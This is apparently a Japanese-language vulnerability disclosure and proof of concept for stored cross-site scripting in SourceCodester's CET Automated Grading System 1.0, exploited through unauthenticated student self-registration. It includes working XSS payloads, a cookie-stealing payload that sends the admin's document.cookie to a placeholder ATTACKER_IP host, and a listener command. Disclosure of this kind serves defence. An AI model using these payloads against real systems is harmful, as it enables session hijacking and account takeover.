
SourceCodester CET Automated Grading System 1.0 における格納型XSSの概念実証。学生登録を介した未認証のペイロード注入により、管理者セッションの乗っ取りに至ることを実証します。
| フィールド | 値 |
|---|
| ベンダー | SourceCodester |
| ベンダーURL | https://www.sourcecodester.com |
| 製品 | CET Automated Grading System with AI Predictive Analytics in PHP and MySQL |
| 製品URL | https://www.sourcecodester.com/php/18686/cet-automated-grading-system-ai-predictive-analytics-php-and-mysql.html |
| バージョン | 1.0 |
| 脆弱性 | 保存型クロスサイトスクリプティング(XSS) |
| CWE | CWE-79 |
| CVSSv3スコア | 8.8(高) |
| 攻撃ベクトル | ネットワーク |
| 認証要件 | なし(学生の自己登録は公開) |
| 被害者 | 管理者 |
| ユーザー操作 | 必要(管理者がダッシュボードにアクセス) |
| 研究者 | Imad Alvi |
| 日付 | 2026-04-13 |
ファイル: PersonalAGS/index.php?action=register(学生登録)
パラメータ: student_id、full_name、section、username(POST)
トリガー箇所: PersonalAGS/index.php?action=dashboard(管理者ダッシュボード)
CET Automated Grading System 1.0の学生自己登録ポータルは、データベースに保存する前にユーザー入力のサニタイズまたはエンコードを行いません。未認証の攻撃者は、任意の登録フィールドにJavaScriptペイロードを注入して学生アカウントを登録できます。悪意のあるペイロードはデータベースに保存され、登録済みの学生が一覧表示されるダッシュボードにアクセスした管理者のブラウザで実行されます。
これは重大な攻撃チェーンです — ペイロードの注入に認証は不要ですが、特権を持つ管理者コンテキストで実行されるため、セッションCookieの窃取と管理者アカウントの完全乗っ取りが可能になります。
公開されている学生自己登録ページに移動します:
http://localhost/cet-personalagms/PersonalAGS/index.php?action=register
すべてのフィールドにXSSペイロードを入力し、アカウント登録をクリックします:
"><svg onload=alert(1)>"><svg onload=alert(1)>"><svg onload=alert(1)>"><svg onload=alert(1)>
登録は成功します — ペイロードはデータベースに保存されます。
管理者がログインしてダッシュボードにアクセスすると、注入されたペイロードが即座に実行されます。アラートのポップアップが表示され、注入されたHTMLによってページレイアウトが明らかに崩れます — ペイロードが管理者パネルでサニタイズされずにレンダリングされることが確認できます。
ダッシュボードのセクションヘッダーにも注入された値が反映されます:
1ST YEAR - SECTION 1ST YEAR" ONMOUSEOVE3RD YEAR - SECTION " ONLOAD=ALERT(1) X=
攻撃者は、登録フィールドで以下のペイロードを使用することで、これを完全な管理者セッションハイジャックにエスカレートできます:
" onmouseover="new Image().src='http://ATTACKER_IP:8888/?c='+document.cookie" x="
攻撃者マシンでリスナーをセットアップします:
python3 -m http.server 8888
管理者がダッシュボードにアクセスすると、そのセッションCookieが攻撃者のサーバーに送信され、アカウントの完全な乗っ取りが可能になります。
未認証の攻撃者は以下を実行できます:
ペイロードの注入に認証は不要です。攻撃は、管理者がダッシュボードにアクセスすると自動的に実行されます。